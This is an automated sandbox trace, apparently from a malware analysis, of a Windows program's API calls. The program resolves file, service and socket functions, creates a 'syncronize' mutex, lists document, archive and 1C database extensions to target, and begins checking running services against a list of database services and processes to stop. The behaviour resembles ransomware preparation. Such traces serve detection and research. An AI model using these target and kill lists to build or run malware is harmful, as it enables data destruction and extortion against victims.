	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e17d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 82
	os_tid = 0x4d4

	[0240.850] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x755c0000
	[0240.851] GetProcAddress (hModule=0x755c0000, lpProcName="GetProcAddress") returned 0x755d1222
	[0240.851] GetProcAddress (hModule=0x755c0000, lpProcName="GetModuleHandleW") returned 0x755d34b0
	[0240.851] GetProcAddress (hModule=0x755c0000, lpProcName="FindNextFileW") returned 0x755d54ee
	[0240.851] GetProcAddress (hModule=0x755c0000, lpProcName="FindClose") returned 0x755d4442
	[0240.851] GetProcAddress (hModule=0x755c0000, lpProcName="MoveFileW") returned 0x755e9af0
	[0240.851] GetProcAddress (hModule=0x755c0000, lpProcName="GetFileSizeEx") returned 0x755d59e2
	[0240.851] GetProcAddress (hModule=0x755c0000, lpProcName="GetModuleFileNameW") returned 0x755d4950
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="GetFileAttributesW") returned 0x755d1b18
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="ExitProcess") returned 0x755d7a10
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="GetCommandLineW") returned 0x755d5223
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="GetComputerNameW") returned 0x755ddd0e
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="GetComputerNameA") returned 0x755eb6e0
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="CreateMutexW") returned 0x755d424c
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="lstrlenW") returned 0x755d1700
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="lstrlenA") returned 0x755d5a4b
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="GetCurrentProcess") returned 0x755d1809
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="WaitForSingleObject") returned 0x755d1136
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="GetLogicalDrives") returned 0x755d5371
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="GetTickCount") returned 0x755d110c
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="DeleteFileW") returned 0x755d89b3
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="WideCharToMultiByte") returned 0x755d170d
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x755d1916
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="Sleep") returned 0x755d10ff
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="LeaveCriticalSection") returned 0x779f2270
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="ReadFile") returned 0x755d3ed3
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="CreateFileW") returned 0x755d3f5c
	[0240.852] GetProcAddress (hModule=0x755c0000, lpProcName="OpenMutexW") returned 0x755d5151
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="EnterCriticalSection") returned 0x779f22b0
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="WaitForMultipleObjects") returned 0x755d4220
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="lstrcmpiW") returned 0x755ed5cd
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="lstrcmpiA") returned 0x755d3e8e
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="DeleteCriticalSection") returned 0x77a045f5
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="ReleaseMutex") returned 0x755d111e
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="CloseHandle") returned 0x755d1410
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="GetVersion") returned 0x755d4467
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="CreateThread") returned 0x755d34d5
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="ExpandEnvironmentStringsW") returned 0x755d4173
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="QueryPerformanceCounter") returned 0x755d1725
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="QueryPerformanceFrequency") returned 0x755d41f0
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="GetCurrentProcessId") returned 0x755d11f8
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="SetFileAttributesW") returned 0x755ed4f7
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="GetVolumeInformationW") returned 0x755ec860
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="WriteFile") returned 0x755d1282
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="SetFilePointerEx") returned 0x755ec807
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="SetEndOfFile") returned 0x755ece2e
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="FindFirstFileW") returned 0x755d4435
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="GetProcessHeap") returned 0x755d14e9
	[0240.853] GetProcAddress (hModule=0x755c0000, lpProcName="HeapReAlloc") returned 0x77a11f6e
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="HeapAlloc") returned 0x779fe026
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="HeapFree") returned 0x755d14c9
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="CreatePipe") returned 0x7565415b
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="SetHandleInformation") returned 0x755e195c
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="CreateProcessW") returned 0x755d103d
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="CompareStringW") returned 0x755d3bca
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="CompareStringA") returned 0x755d3c5a
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="OpenProcess") returned 0x755d1986
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="TerminateProcess") returned 0x755ed802
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="GetSystemTime") returned 0x755d5a96
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="SystemTimeToFileTime") returned 0x755d5a7e
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="GetLastError") returned 0x755d11c0
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="CreateToolhelp32Snapshot") returned 0x755f735f
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="Process32NextW") returned 0x755f896c
	[0240.854] GetProcAddress (hModule=0x755c0000, lpProcName="Process32FirstW") returned 0x755f8baf
	[0240.854] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75980000
	[0240.995] GetProcAddress (hModule=0x75980000, lpProcName="RegOpenKeyExW") returned 0x7599468d
	[0240.995] GetProcAddress (hModule=0x75980000, lpProcName="RegQueryValueExW") returned 0x759946ad
	[0240.995] GetProcAddress (hModule=0x75980000, lpProcName="RegSetValueExW") returned 0x759914d6
	[0240.995] GetProcAddress (hModule=0x75980000, lpProcName="RegCloseKey") returned 0x7599469d
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="OpenProcessToken") returned 0x75994304
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="GetTokenInformation") returned 0x7599431c
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="OpenSCManagerW") returned 0x7598ca64
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="OpenServiceW") returned 0x7598ca4c
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="CloseServiceHandle") returned 0x7599369c
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="ControlService") returned 0x759a7144
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="QueryServiceStatus") returned 0x75992a86
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="EnumDependentServicesW") returned 0x75981e3a
	[0240.996] GetProcAddress (hModule=0x75980000, lpProcName="EnumServicesStatusExW") returned 0x7598b466
	[0240.996] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75a20000
	[0242.093] GetProcAddress (hModule=0x75a20000, lpProcName="SystemParametersInfoW") returned 0x75a390d3
	[0242.093] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75e20000
	[0242.121] GetProcAddress (hModule=0x75e20000, lpProcName="ShellExecuteExW") returned 0x75e41e46
	[0242.127] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x779d0000
	[0242.127] GetProcAddress (hModule=0x779d0000, lpProcName="NtQuerySystemInformation") returned 0x779efda0
	[0242.128] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x754f0000
	[0242.840] GetProcAddress (hModule=0x754f0000, lpProcName="WNetCloseEnum") returned 0x754f2dd6
	[0242.840] GetProcAddress (hModule=0x754f0000, lpProcName="WNetOpenEnumW") returned 0x754f2f06
	[0242.840] GetProcAddress (hModule=0x754f0000, lpProcName="WNetEnumResourceW") returned 0x754f3058
	[0242.840] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77270000
	[0242.871] GetProcAddress (hModule=0x77270000, lpProcName="WSAStartup") returned 0x77273ab2
	[0242.871] GetProcAddress (hModule=0x77270000, lpProcName="socket") returned 0x77273eb8
	[0242.871] GetProcAddress (hModule=0x77270000, lpProcName="send") returned 0x77276f01
	[0242.871] GetProcAddress (hModule=0x77270000, lpProcName="recv") returned 0x77276b0e
	[0242.871] GetProcAddress (hModule=0x77270000, lpProcName="connect") returned 0x77276bdd
	[0242.872] GetProcAddress (hModule=0x77270000, lpProcName="closesocket") returned 0x77273918
	[0242.872] GetProcAddress (hModule=0x77270000, lpProcName="gethostbyname") returned 0x77287673
	[0242.872] GetProcAddress (hModule=0x77270000, lpProcName="inet_addr") returned 0x7727311b
	[0242.872] GetProcAddress (hModule=0x77270000, lpProcName="ntohl") returned 0x77272d57
	[0242.872] GetProcAddress (hModule=0x77270000, lpProcName="htonl") returned 0x77272d57
	[0242.872] GetProcAddress (hModule=0x77270000, lpProcName="htons") returned 0x77272d8b
	[0242.872] GetProcessHeap () returned 0x4a0000
	[0242.872] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x20) returned 0x4b4058
	[0242.872] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=7079394277) returned 1
	[0242.872] GetTickCount () returned 0x6b9d
	[0242.872] GetCurrentProcessId () returned 0x4d0
	[0242.872] GetTickCount () returned 0x6b9d
	[0242.872] GetTickCount () returned 0x6b9d
	[0242.872] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x20) returned 0x4b4080
	[0242.872] GetVersion () returned 0x1db10106
	[0242.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x7) returned 0x4a3668
	[0242.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b0b88
	[0242.873] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0b88, Size=0x20) returned 0x4b40d0
	[0242.873] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b40d0, Size=0x40) returned 0x4b4668
	[0242.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4b48b8
	[0242.873] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KKXAGQA") returned 0x0
	[0242.873] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_KKXAGQA") returned 0x84
	[0242.873] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a3668 | out: hHeap=0x4a0000) returned 1
	[0242.873] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0242.873] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4668 | out: hHeap=0x4a0000) returned 1
	[0242.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x7) returned 0x4a3668
	[0242.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b0b88
	[0242.873] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0b88, Size=0x20) returned 0x4b40d0
	[0242.873] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b40d0, Size=0x40) returned 0x4b4668
	[0242.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4c48c0
	[0242.874] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KKXAGQU") returned 0x0
	[0242.874] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_KKXAGQU") returned 0x88
	[0242.874] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a3668 | out: hHeap=0x4a0000) returned 1
	[0242.874] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0242.874] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4668 | out: hHeap=0x4a0000) returned 1
	[0242.874] GetVersion () returned 0x1db10106
	[0242.874] GetCurrentProcess () returned 0xffffffff
	[0242.874] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1
	[0242.874] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1
	[0242.874] CloseHandle (hObject=0x8c) returned 1
	[0242.874] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4a3668
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b0b88
	[0242.874] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0b88, Size=0x20) returned 0x4b40d0
	[0242.874] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b40d0, Size=0x40) returned 0x4b4668
	[0242.874] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4668, Size=0x80) returned 0x4b4668
	[0242.874] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4668, Size=0x100) returned 0x4b4668
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x34) returned 0x4b4770
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b0778
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b0788
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b0798
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4b0b88
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b47b0
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0ba0
	[0242.874] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47b0, Size=0x8) returned 0x4b47b0
	[0242.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4b0bb8
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47b0, Size=0x10) returned 0x4b47b0
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0bd0
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0be8
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47b0, Size=0x20) returned 0x4b47b0
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4b0c00
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0c18
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0778, Size=0x8) returned 0x4b0778
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0788, Size=0x8) returned 0x4b0788
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b47d8
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4b0c30
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b47e8
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4b0c48
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47e8, Size=0x8) returned 0x4b47e8
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d48e0
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47e8, Size=0x10) returned 0x4b47e8
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d48f8
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4800
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47e8, Size=0x20) returned 0x4b4810
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0778, Size=0x10) returned 0x4b47e8
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0788, Size=0x10) returned 0x4b4838
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b0778
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4910
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b0788
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4928
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b0788, Size=0x8) returned 0x4b0788
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4850
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4940
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b4860
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4958
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4860, Size=0x8) returned 0x4b4860
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47e8, Size=0x20) returned 0x4d4cc8
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4838, Size=0x20) returned 0x4d4cf0
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4838
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4970
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4b47e8
	[0242.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4988
	[0242.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b47e8, Size=0x8) returned 0x4b47e8
	[0242.876] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d4d18
	[0242.876] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d4d38
	[0242.876] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0242.876] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4668 | out: hHeap=0x4a0000) returned 1
	[0242.876] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0
	[0242.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49b8
	[0242.882] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49b8, Size=0x20) returned 0x4b42d8
	[0242.882] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b42d8, Size=0x40) returned 0x4d8f48
	[0242.882] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f48, Size=0x80) returned 0x4d8f48
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f48, Size=0x100) returned 0x4d8fd0
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49b8
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49b8, Size=0x20) returned 0x4b42d8
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b42d8, Size=0x40) returned 0x4d8f48
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f48, Size=0x80) returned 0x4d8f48
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f48, Size=0x100) returned 0x4d90d8
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d49b8
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4d8f48
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d0
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f48, Size=0x8) returned 0x4d8f48
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d8f58
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f48, Size=0x10) returned 0x4d8f78
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4d8f90
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4b42d8
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f78, Size=0x20) returned 0x4d91e0
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4b4300
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x16) returned 0x4d8fb0
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4b4328
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d49e8
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4d8f48
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4d9208
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f48, Size=0x8) returned 0x4d8f48
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x3c) returned 0x4d9250
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f48, Size=0x10) returned 0x4d8f78
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4d9298
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4d92b8
	[0242.883] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d8f78, Size=0x20) returned 0x4d92d8
	[0242.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x4d9300
	[0242.883] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0242.883] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d8fd0 | out: hHeap=0x4a0000) returned 1
	[0242.883] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0242.883] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d90d8 | out: hHeap=0x4a0000) returned 1
	[0242.883] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4d9858
	[0243.048] EnumServicesStatusExW (in: hSCManager=0x4d9858, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0
	[0243.050] GetLastError () returned 0xea
	[0243.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x9a8) returned 0x4dd150
	[0243.050] EnumServicesStatusExW (in: hSCManager=0x4d9858, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4dd150, cbBufSize=0x9a8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4dd150, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1
	[0243.050] CloseServiceHandle (hSCObject=0x4d9858) returned 1
	[0244.417] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0244.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0244.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0244.417] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0244.417] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0244.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0244.417] lstrlenW (lpString="AudioSrv") returned 8
	[0244.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0244.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0244.417] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0244.417] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0244.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0244.417] lstrlenW (lpString="CscService") returned 10
	[0244.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0244.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0244.417] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0244.417] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0244.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0244.417] lstrlenW (lpString="DcomLaunch") returned 10
	[0244.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0244.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0244.418] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0244.418] lstrlenW (lpString="Dhcp") returned 4
	[0244.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0244.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
